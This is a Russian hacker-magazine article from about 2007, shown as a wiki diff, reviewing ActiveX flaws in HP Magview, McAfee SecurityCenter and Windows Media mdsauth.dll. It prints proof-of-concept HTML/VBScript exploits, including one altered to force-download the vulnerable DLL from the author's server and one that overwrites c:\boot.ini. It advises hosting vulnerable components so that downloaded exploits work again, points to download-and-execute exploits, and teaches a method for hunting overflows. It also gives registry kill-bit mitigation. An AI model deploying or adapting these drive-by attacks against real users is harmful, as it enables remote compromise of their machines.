Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

articles:exploits-review-0x0c [2017/09/05 02:55] (текущий)
Строка 1: Строка 1:
 +====== exploits-review-0x0C ======
 +<​sub>​{{exploits-review-0x0C.odt|Original file}}</​sub>​
 +
 +====== exploits review\\ 0Ch выпуск ======
 +
 +крис касперски ака мыщъх, no-email
 +
 +**персональный компьютер стремительно превращается в "​интеллектуальный терминал",​ подключенный к сети. все больше и больше производителей мигрируют в сторону ****ActiveX-****компонентов****,​ ****лавинообразный рост уязвимостей в которых сподвинул мыщъх****'​****а на детальное описание этой проблемы,​ поглотившей весь сегодняшний обзор ****exploit'​****ов. мы не только покажем как "​реанимировать"​ ****exploit'​****ы,​ выловленные в дикой природе,​ но и расскажем о технике самостоятельно поиска дыр в ****ActiveX****-компонентах**
 +
 +===== переполнение буфера в Hewlett-Packard Magview ActiveX =====
 +
 +**brief**:​11 мая 2007 кода коллектив "The Goodfellas Security Research Team"​обнаружил уязвимость типа "​переполнения буфера"​ в ActiveX-компоненте Magview от Hewlett-Packard,​ входящего в состав продукта "HP Digital Imaging Toolbox"​. ошибка возникает при передаче методу "​DeleteProfile"​ неожиданно длинной строки (например,​ состоящей из 1.000.000 байт),​ что приводит к аварийному завершению работы IE или передаче управления на shell-код,​ передаваемый вместе с переполняемой строкой и расположенный в стековой памяти (//​**внимание**////:​ если процессор поддерживает ////NX/XD ////​биты,​ то при активном ////​DEP////,​ ////Windows ////​запрещает выполнение кода в стеке и для захвата управления приходится прибегать к атаке типа ////​**return2libc**////,​ подобно описанной в мыщъиной статье "​переполнение буфера на системах с неисполняемым стеком",​ электронную копию которой можно скачать с ////​http://​nezumi.org.ru/​vista-overstack-pack.zip//​). для реализации атаки хакеру достаточно заманить жертву на web-страницу с exploit'​ом или послать ей html-письмо. за более подробным описанием уязвимости обращайтесь к www.securityfocus.com/​bid/​23941;​
 +
 +**target**:​ошибка содержится в динамической библиотеке hpqvwocx.dll,​ с версией файла 1.0.309 (версия продукта — 2.0 .309). о других версиях ничего не известно;​
 +
 +**exploit**:​демонстрационный exploit, вызывающий аварийное завершение IE, лежит на http://​www.securityfocus.com/​bid/​23941 (см. листинг 1),​ однако,​ он неявно требует,​ чтобы соответствующий ActiveX-компонент уже был установлен на атакуемой системе,​ что (учитывая невысокую популярность Magicview'​а) достаточно маловероятно,​ поэтому мыщъх доработал его следующим образом (измененные строки выделены жирным цветом),​ выложив уязвимый ActiveX на свой сервер:​
 +
 +<​html>​
 +
 +<​head>​
 +
 +<​title>​
 +
 +Prove of Concept -> Hewlett Packard Stack Overflow
 +
 +in hpqvwocx.dll v1.0.0.309
 +
 +</​title>​
 +
 +</​head>​
 +
 +<h4>
 +
 +Prove of Concept -> Hewlett Packard Stack Overflow
 +
 +in hpqvwocx.dll v1.0.0.309<​br>​
 +
 +Tested in Windows XP Service Pack 2<br>
 +
 +Discovered by Goodfellas Security Research Team<​br>​
 +
 +Url ->​http://​www.hp.com<​br>​
 +
 +author -> callAX<​br>​
 +
 +mail -> callax@shellcode.com.ar<​br>​
 +
 +http://​www.shellcode.com.ar / http://​www.securenetworks.ch
 +
 +</h4>
 +
 +<object classid='​clsid:​BA726BF9-ED2F-461B-9447-CD5C7D66CE8D'​ id='​pAF'​
 +
 +**codebase='​http://​nezumi.org.ru/​souriz/​hack/​hpqvwocx.dll'​** >
 +
 +</​object>​
 +
 +<input type="​button"​ value="​Boom"​ language="​VBScript"​ OnClick="​OuCh()">​
 +
 +<script language="​VBScript">​
 +
 +sub OuCh()
 +
 +Var_0 = String(1000000,​ "​A"​)
 +
 +pAF.DeleteProfile Var_0
 +
 +End Sub
 +
 +</​script>​
 +
 +</​html>​
 +
 +Листинг 1 исправленный код демонстрационного exploit'​а
 +
 +**solution**:​запретить IE использовать ActiveX-компонент с CLSID равным BA726BF9-ED2F-461B-9447-CD5C7D66CE8D по методике,​ описанной в разделе "full disclose";​
 +
 +{{exploits-review-0x0c_Image_0.png?​504}}
 +
 +Рисунок 1 вот такая она, Hewlett-Packard!
 +
 +===== переполнения буфера в McAfee Security Center ActiveX =====
 +
 +**brief**:​в McAfee Security Center (конструктивно реализованном в виде ActiveX-компонента) обнаружено сразу несколько ошибок переполнения буфера,​ допускающих удаленный захват управления. дефекты проектирования гнездятся в методах **IsOldAppInstalled**,​ **GetUserRegisteredForBackend** и **IsOldAppInstalled**,​ сосредоточенных в динамической библиотеке McSubMgr.DLL.подробнее об этом можно прочитать на http://​www.securityfocus.com/​bid/​23909,​ http://​www.securityfocus.com/​bid/​23888 и http://​www.securityfocus.com/​archive/​1/​468046.
 +
 +**targets**:​уязвимость подтверждена в следующих версиях McAfee VirusScan:​10.0.27,​ 10.0.21; McAfee SecurityCenter:​7.0,​ 6.0.22, 6.0, 4.3 и McAfee SecurityCenter 4.3;
 +
 +**exploits**:​в сети валяется множество боевых explouit'​ов,​ которых можно скачать,​ например,​ с: www.milw0rm.com/​exploits/​3893 и downloads.securityfocus.com/​vulnerabilities/​exploits/​23888.c (заливает на жертву exe-файл с указанного url и тут же запускает его на выполнение),​ downloads.securityfocus.com/​vulnerabilities/​exploits/​Mc_Afee_Viruscan_ActiveX_exp.txt (аварийное завершение IE), однако,​ все они рассчитывают,​ что соответствующий ActiveX-компонент уже установлен,​ поэтому,​ рекомендуется слегка доработать код exploit'​ов,​ включив в тег <object classid="​clsid:​9BE8D7B2-329C-442A-A4AC-ABA9D7572602">​ атрибут CODEBASE для принудительной загрузки ActiveX-компонента с указанного URL, как было показано в предыдущем примере. демонстрационный код exploit'​а приведен ниже:
 +
 +<​html>​
 +
 +<h4>
 +
 +Prove of Concept -> Mc Afee Viruscan Stack Overflow v10.0.21
 +
 +http://​download.mcafee.com/​fr/​ author -> callAX
 +
 +mail -> callax@shellcode.com.ar
 +
 +Url -> http://​www.shellcode.com.ar / http://​www.securenetworks.ch
 +
 +</h4>
 +
 +<object classid='​clsid:​9BE8D7B2-329C-442A-A4AC-ABA9D7572602'​ id='​Crash'>​
 +
 +</​object>​
 +
 +<input type="​button"​ value="​crash"​ language="​VBScript"​ OnClick="​crashme()">​
 +
 +<script language="​VBScript">​
 +
 +sub crashme()
 +
 +Arg0 = String(150000000,"​S"​)
 +
 +Arg1 = String(3000,​ "​x"​)
 +
 +crash.GetUserRegisteredForBackend Arg0, Arg1
 +
 +end sub
 +
 +</​script>​
 +
 +</​html>​
 +
 +Листинг 2 HTML-код демонстрационного exploit'​а
 +
 +**solution**установить исправленные версии McAfee SecurityCenter (7.2.147)и McAfee SecurityCenter (6.0.0.25) и/или запретить IE использовать ActiveX-компонент с CLSID равным 9BE8D7B2-329C-442A-A4AC-ABA9D7572602 по методике,​ описанной в разделе "full disclose";​
 +
 +{{exploits-review-0x0c_Image_1.png?​506}}
 +
 +Рисунок 2 исходный текст генератора боевых HTML-exploit'​ов,​ заливающих на целевой компьютер произвольный exe-файл и запускающий его на выполнение
 +
 +===== удаленное выполнение кода в Windows Media Server =====
 +
 +**brief**:​в начале мая хакер по имени Andres Tarasco Acun (atarasco@gmail.com) обнаружил дыру в ActiveX-компоненте Windows Media Server, опубликовав свое сообщение на http://​www.514.es/​2007/​05/​ms07027_mdsauthdll_permite_la_1.htm (на испанском языке) из которого следует,​ что метод **SaveAs**, реализованный в динамической библиотеке mdsauth.dll,​ позволяет перезаписывать существующие файлы, внедряя в них произвольный код, без выдачи запроса на подтверждение! по данным Security Focus ошибку нашел Cocoruder из Fortinet Security Research, со ссылкой на всю туже mdsauth.dll (http://​www.securityfocus.com/​bid/​23827),​ однако,​ если скачать mdsauth.dll c сервера http://​www.dll-downloads.com/​hosts.asp?​mdsauth и заглянуть внутрь нее дизассемблером,​ мы вообще не увидим никакого метода SaveAs, более того, у нее даже отсутствует CLSID и попытка регистрации данной динамической библиотеки как ActiveX-компонента ни к чему (хорошему) не приводит. тем не менее, Microsoft подтвердила наличие данной уязвимости во всех своих операционных системах линейки NT —от W2K SP4 вплоть до Висты включительно (подробнее см. http://​www.microsoft.com/​technet/​security/​Bulletin/​MS07-027.mspx). короче,​ есть в мире многое,​ чего не снилась мудрецам;​
 +
 +**targets**:​по утверждению Microsoft уязвимости подвержены следующие системы:​ Microsoft W2K SP4, XP SP 2, XP Pro x64,​ XP Pro x64 SP 2,​ Server 2003 SP 1,​ Server 2003 SP2,​ Server 2003 SP1 Itanium-based,​ Server 2003 SP2 Itanium-based,​ Server 2003 x64 SP 1,​ Server 2003 x64 SP 2,​ Vista, Vista x64 (//​**примечание**////:​ на своей машине с ////​W2K SP4 ////​мыщъх компонента mdsauth.dll так и не обнаружил,​ поэтому,​ чтобы код ////​exploit'////​а,​ приведенный на ////​www.securityfocus.com ////и ////​www.milw0rm.com////,​ возымел ожидаемое действие,​ в тег ////OBJECT ////​необходимо добавить атрибут ////​CODEBASE////,​ для загрузки ////​старой версии mdsauth.dll,​ в противном случае ////IE ////​автоматически загрузит исправленную версию mdsauth.dll с серверов ////​Microsoft//​);​
 +
 +**exploit**:​демонстрационный proof of concept exploit лежит на www.milw0rm.com/​exploits/​3892 и пытается перезаписать файл c:\boot.ini (см. листинг 3). "​пытается"​ — потому что при запуске IE из под обычного пользователя это у него не получается.
 +
 +<​html>​
 +
 +<​title>​
 +
 +MS07-027 mdsauth.dll NMSA Session Description Object SaveAs control,
 +
 +arbitrary file modification
 +
 +</​title>​
 +
 +<​body>​
 +
 +<OBJECT id="​trgt"​ classid="​clsid:​d4fe6227-1288-11d0-9097-00aa004254a0">​
 +
 +</​OBJECT>​
 +
 +<script language="​vbscript">​
 +
 +trgt.SessionDescription="​MS07-027 mdsauth.dll Proof of Concept exploit"​
 +
 +trgt.SessionAuthor="​Andres Tarasco Acuna"
 +
 +trgt.SessionEmailContact="​atarasco_at_gmail.com"​
 +
 +trgt.SessionURL="​http://​www.514.es"​
 +
 +trgt.SaveAs "​c:​\boot.ini"​
 +
 +</​script>​
 +
 +</​body>​
 +
 +</​html>​
 +
 +Листинг 3 исходный код оригинального exploit'​а,​ пытающегося перезаписать C:\boot.ini
 +
 +**solution**запретить IE использовать ActiveX-компонент с CLSID равным D4FE6227-1288-11D0-9097-00AA004254A0 по методике,​ описанной в разделе "full disclose";​
 +
 +{{exploits-review-0x0c_Image_2.png?​494}}
 +
 +Рисунок 3 сообщение о дыре в mdsauth.dll,​ опубликованное хакером Andres Tarasco Acun
 +
 +===== full disclose\\ исследование ActiveX-компонентов своими руками =====
 +
 +ActiveX-компоненты,​ изначально ориентированные на IE и WWW, довольно быстро завоевали популярность и в других сферах,​ потеснив "​классический"​ OLE. Фактически,​ и OLE,и ActiveX компоненты построены по технологии COM, представляющей собой унифицированный механизм экспорта сервисов. Компонентная модель завоевала признание поклонников Visual Basic'​а,​ DELPHI и отчасти Microsoft Visual C++, существенно упросив реализацию пользовательского интерфейса. С другой стороны,​ появилось множество фирм, предоставляющих готовые наборы компонентов на все случаи жизни, легко встраиваемые в любое приложение.
 +
 +Как следствие,​ многие программы (даже не имеющие никакого отношения ни к WWW, ни к Интернет) при установке на компьютер тянут за собой кучу ActiveX-компонентов,​ доступных не только из данного приложения,​ но в том числе и через IE. Достаточно открыть страничку,​ вызывающую ActiveX-компонент и обращающуюся к любому из его методов. Поскольку,​ ActiveX-компонент представляет собой обычный PE-файл с расширением OCX или DLL, ему доступны все ресурсы компьютера,​ которыми только располагает пользователь,​ запустивший IE.
 +
 +Для реализации удаленной атаки хакеру необходимо найти ActiveX-компонент с потенциально опасными или дефектными методами (например,​ позволяющими перезаписывать произвольный файл на дисковой системе или содержащими ошибку переполнения). Естественно,​ в первую очередь необходимо сфокусироваться на ActiveX-компонентах,​ входящих в штатную поставку операционной системы или устанавливаемыми широко распространенными приложениями.
 +
 +Впрочем,​ по умолчанию IE устанавливаем подписанные ActiveX-компоненты без подтверждения пользователя,​ а потому загрузить их на целевой узел — не проблема. Кстати говоря,​ практически все ActiveX-exploit'​ы,​ встретившиеся мыщъх'​у в сети, пренебрегали форсированной загрузкой компонентов,​ полагая,​ что они (компоненты) уже присутствуют на компьютере жертвы и потому срабатывающие далеко не со 100% степенью вероятности. Но использовать чужие exploit'​ы не есть хорошо,​ поскольку,​ свежие дыры достаточно быстро затыкаются и чтобы выжить в этом агрессивном мире, хакеру необходимо научиться исследовать ActiveX компоненты самостоятельно.
 +
 +Нашим основным орудием станет утилита "​**ActiveX Control Test Container**"​ (TSTCON32.EXE) входящая в штатный комплект поставки Microsoft Visual Studio. Запустив ее на выполнение,​ в меню Edit найдем пункт Insert New Control и в открывшимся диалоговом окне (см. рис. 4) выберем любой понравившийся нам ActiveX-компонент (например,​ Calendar Control 8.0).
 +
 +{{exploits-review-0x0c_Image_3.png?​536}}
 +
 +Рисунок 4 исследование ActiveX-компонентов с помощью утилиты TSTCON32.EXE
 +
 +Теперь лезем в меню Control, видим там пункт Invoke Methods и получаем перечень доступных методов с возможностью задания параметров вызова. Методов обычно бывает очень много и даже такой простой элемент управления как "​Календарь"​ содержит их более полусотни. Большинство методов имеет вполне осмысленные имена (типа PreviousDay,​ NextDay, Today), понятные даже без описания.
 +
 +Однако,​ экспериментировать с параметрами внутри TSTCON32.EXE чрезвычайно неудобно (в частности,​ мы не можем формировать строки произвольной длины иначе, чем вставляя их в окно редактирования),​ поэтому,​ лучше вызывать ActiveX-компоненты из HTML-документов,​ открываемых в IE, но для этого нам необходимо узнать их CLSID, подсмотреть который можно с помощью другой хорошей утилиты (так же входящей в состав Microsoft Visual Studio) – "​**OLE/​COM Object Viewer**"​ (OLEVIEW.EXE).
 +
 +Запустив ее на выполнение,​ находим в дереве объектов наш "​Календарь"​ (Object Classes  Control  Calendar Control 8.0) и, щелкнув по нему левой клавишей мыши, выбираем в контекстом меню пункт "Copy CLSID to Clipboard"​ или сразу "Copy HTML <​object>​ Tag to Clipboard"​ (см. рис. 5).
 +
 +{{exploits-review-0x0c_Image_4.png?​553}}
 +
 +Рисунок 5 получение CLSID интересующего нас ActiveX компонента с помощью утилиты OLEVIEW.EXE
 +
 +Теперь создаем новый HTML-документ,​ вставляем в него тег <​object>​ вместе с CLSID идентификатором из буфера обмена и добавляем атрибут "​id",​ задающий имя переменной,​ через которую будет осуществляться доступ к методам данного ActiveX-компонента. Имя переменной может быть любым (естественно,​ не "​вообще любым",​ а "​любым в рамках языков Java- и Visual Basic Script).
 +
 +Вызов методов может осуществляться из любого места HTML-документа. Для автоматического вызова лучше всего повеситься на событие **onload**, а для вызова по нажатию клавиши (или другого элемента управления) — на событие **OnClick**. Подробности можно почерпнуть в любой книге по WEB-программированию или из MSDN (см. раздел "​Internet Tools and Technologies"​). Ниже (см. листинг 4) приведен предельно простой код, демонстрирующий автоматический вызов методов ActiveX компонента на Java Script (сам компонент должен быть предварительно установлен на компьютер).
 +
 +<​objectclassid="​clsid:​8E27C92B-1264-101C-8A2F-040224009C02"​id="​obj_name"></​object>​
 +
 +
 +
 +<SCRIPT FOR=window EVENT=onload LANGUAGE="​JScript">​
 +
 +obj_name.Xmethod(arg1,​ arg2, argN)
 +
 +</​SCRIPT>​
 +
 +Листинг 4 техника автоматического вызова методов ActiveX-компонента,​ осуществляемая сразу же после завершения загрузки HTML-страницы
 +
 +Для форсированной загрузки ActiveX-компонентов достаточно добавить к тегу <​object>​ атрибут CODEBASE, указав URL компонента и, при необходимости,​ версию файла (см. листинг 5). Если версия уже установленного компонента выше или равна обозначенной,​ загрузка осуществляться не будет и, соответственно,​ наоборот.
 +
 +<object
 +
 +classid="​clsid:​8E27C92B-1264-101C-8A2F-040224009C02"​
 +
 +**CODEBASE=****"​****http://​www.foo.com/​bar.ocx#​Version=a,​b,​c,​d"​**
 +
 +id="​obj_name">​
 +
 +</​object>​
 +
 +Листинг 5 форсированная загрузка ActiveX-компонентов с указанного URL
 +
 +Ниже (см  листинг 6) приводится законченный HTML-текст,​ вызывающий "​календарь"​ и позволяющий менять дату путем нажатия на кнопки,​ расположенные ниже (см. рис. 6).
 +
 +<​HTML>​
 +
 +<​BODY>​
 +
 +<object classid='​clsid:​8E27C92B-1264-101C-8A2F-040224009C02'​ id='​test'>​ </​object>​
 +
 +<BR>
 +
 +<input language=VBScript onclick=prev() type=button value="<​-- prev  ">
 +
 +<input language=VBScript onclick=tday() type=button value="​ [  today  ]  ">
 +
 +<input language=VBScript onclick=nxtd() type=button value=" ​ next --> ​ ">
 +
 +<script language='​vbscript'>​
 +
 +sub prev
 +
 +test.PreviousDay
 +
 +end sub
 +
 +
 +
 +sub tday
 +
 +test.Today
 +
 +end sub
 +
 +
 +
 +sub nxtd
 +
 +test.NextDay
 +
 +end sub
 +
 +</​script>​
 +
 +</​BODY>​
 +
 +</​HTML>​s
 +
 +Листинг 6 HTML-код,​ вызывающий ActiveX-компонент "​календарь"​ и позволяющий с ним взаимодействовать
 +
 +{{exploits-review-0x0c_Image_5.png?​440}}
 +
 +Рисунок 6 ActiveX-компонент "​календарь"​ в IE
 +
 +Вновь возвратившись к утилите "​ActiveX Control Test Container"​ среди прочих компонентов мы обнаружим "Adobe Acrobat Control for ActiveX"​ (если, конечно,​ Acrobat Reader установлен на целевой машине),​ один из методов которого зовется **LoadFile**и,​ в полном соответствии со своим названием,​ загружает pdf-файл для его отображения.
 +
 +Для разнообразия,​ HTML-код,​ демонстрирующий технику его вызова,​ написан на Java Script (см. листинг 7).
 +
 +<​HTML>​
 +
 +<​BODY>​
 +
 +<object classid="​clsid:​CA8A9780-280D-11CF-A24D-444553540000"​
 +
 +WIDTH=600 HEIGHT=600 id=acrobat>​
 +
 +</​object>​
 +
 +<SCRIPT FOR=window EVENT=onload LANGUAGE="​JScript">​
 +
 +acrobat.LoadFile ("​L:​\\exrev.pdf"​)
 +
 +</​SCRIPT>​
 +
 +</​BODY>​
 +
 +</​HTML>​
 +
 +Листинг 7 HTML-код,​ вызывающий метод LoadFile ActiveX-компонента "Adobe Acrobat Control for ActiveX"​ при открытии страницы
 +
 +Передавая методу LoadFile строки переменной длинны в качестве аргумента,​ пытаемся выяснить — происходит ли переполнение буфера или нет. В данном случае переполнение не происходит,​ поэтому,​ необходимо продолжить исследования,​ перебирая ActiveX-компонентыодин за другим.
 +
 +Причем,​ создавать строковые аргументы вручную совершенно необязательно и можно воспользоваться языковыми библиотеками или, на худой конец, циклами (в частности,​ команда String(69000000,"​A"​),​ поддерживаемая Visual Basic Script, конструирует строку,​ состоящую из 690 миллионов символов '​A'​).
 +
 +{{exploits-review-0x0c_Image_6.png?​553}}
 +
 +Рисунок 7 Acrobat Control в IE
 +
 +Еще пара замечаний напоследок. Как мы уже и говорили,​ для реанимации exploit'​ов,​ добытых из сети, обычно требуется задействовать форсированную загрузку ActiveX-компонентов,​ указав URL, но... откуда нам знать, какой именно URL указывать?​ Если повезет,​ необходимый ActiveX-компонент отыщется прямо на WEB-сервере компании (смотрим перечень on-line служб, находим нужную,​ выдираем из HTML-кода нужны URL, вставляем его в exploit и радуемся жизни),​ однако,​ если ActiveX-компонент входит в состав продукта,​ устанавливаемого на машину,​ то никакого URL нарыть не удастся. Хуже того, дыры в ActiveX-компонентах,​ выложенных на официальных серверах,​ достаточно быстро закрываются и exploit'​ы перестают работать. Решение состоит в размещении ActiveX-компонента на нашем собственном WEB-сервере (или бесплатном хостинге). Но для этого уязвимый ActiveX-компонент необходимо как-то заполучить. А как его заполучить?​ Да очень просто — воспользоваться услугами служб, хранящих кучу разнообразных динамических библиотек и раздающих их всем желающим на халяву (например,​ http://​www.dynamiclink.nl/​ или http://​www.dll-downloads.com/​).
 +
 +Собственно говоря,​ мы можем написать свой собственный ActiveX-компонент,​ делающий с компьютером жертвы все, что угодно. Единственная проблема – в цифровой подписи. Точнее,​ отсутствии таковой,​ а неподписанные ActiveX-компоненты IE по умолчанию загружает только после выдачи подтверждения. Впрочем,​ выдача цифровой подписи — достаточно формальная процедура,​ да и большинство пользователей на все непонятные вопросы отвечает "​yes"​ не задумываясь. (О технике создания ActiveX-компонентов на чистом Си можно прочитать в следующем цикле статей http://​www.codeproject.com/​com/​com_in_c1.asp).
 +
 +Но прежде,​ чем атаковать других,​ необходимо обезопасить свой компьютер,​ чтобы нас не поимели,​ а то какие же мы будет хакеры после этого?​! Самое простое (и самое хакерское) решение — не использовать этот ослоподный IE, отдав предпочтение Рысю, Горящему Лису Опере или любому другому браузеру,​ не поддерживающему ActiveX. Так же необходимо перестроить IE так, чтобы он не был браузером по умолчанию,​ в противном случае щелчок по ссылке,​ содержащийся в письме (или HTML-код,​ автоматически запускающий браузер) порвет нас как Тузик грелку. ​
 +
 +Однако... что делать,​ если нам необходимо просматривать сайты, основанные на ActiveX?! Можно, конечно,​ включить подтверждение на запуск и загрузку ActiveX-компонентов,​ включая подписанные,​ но тогда IE задолбает нас подтверждениями,​ да и к тому же, если компьютер приходится делить с другими членами семьи (женой,​ детьми) попробуй им объясни,​ когда можно нажимать "​yes",​ а когда нет.
 +
 +{{exploits-review-0x0c_Image_7.png?​553}}
 +
 +Рисунок 8 отключение уязвимых ActiveX-компонентов в "​Редакторе Реестра"​
 +
 +Покопавшись в "​Базе Знаний"​ Microsoft, мы найдем любопытную заметку "How to stop an ActiveX control from running in Internet Explorer",​ описывающую как отключить выборочные ActiveX-компоненты,​ не затронув остальных (http://​support.microsoft.com/​kb/​240797). Запускаем "​Редактор Реестра",​ заходим в ветвь "​HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility",​ находим CLSID уязвимого ActiveX-компонента (например,​ для hpqvwocx.dll это будет "​BA726BF9-ED2F-461B-9447-CD5C7D66CE8D"​ — см. листинг 1).
 +
 +Если же его там нет — создаем. Меняем значение параметра Compatibility Flags (типа DWORD) на 0x400 и все! Теперь этот ActiveX-компонент больше вызываться из IE не будет! Причем,​ наличие самого ActiveX-компонента на машине необязательно. Да, при форсированной загрузке,​ IE по прежнему продолжит скачивать его из сети, но с вызовом методов конкретно обломится. Поэтому,​ для защиты своего компьютера достаточно просматривать свежие ActiveX-exploit'​ы и блокировать их CLSID'​ы (или же, как вариант,​ устанавливать их обновленные версии,​ конечно,​ при условии,​ что они есть).
 +
 +{{exploits-review-0x0c_Image_8.png?​553}}
 +
 +Рисунок 9 внешний вид окна IE, вызывающего отключенный ActiveX-компонент "​календарь"​
 +
 +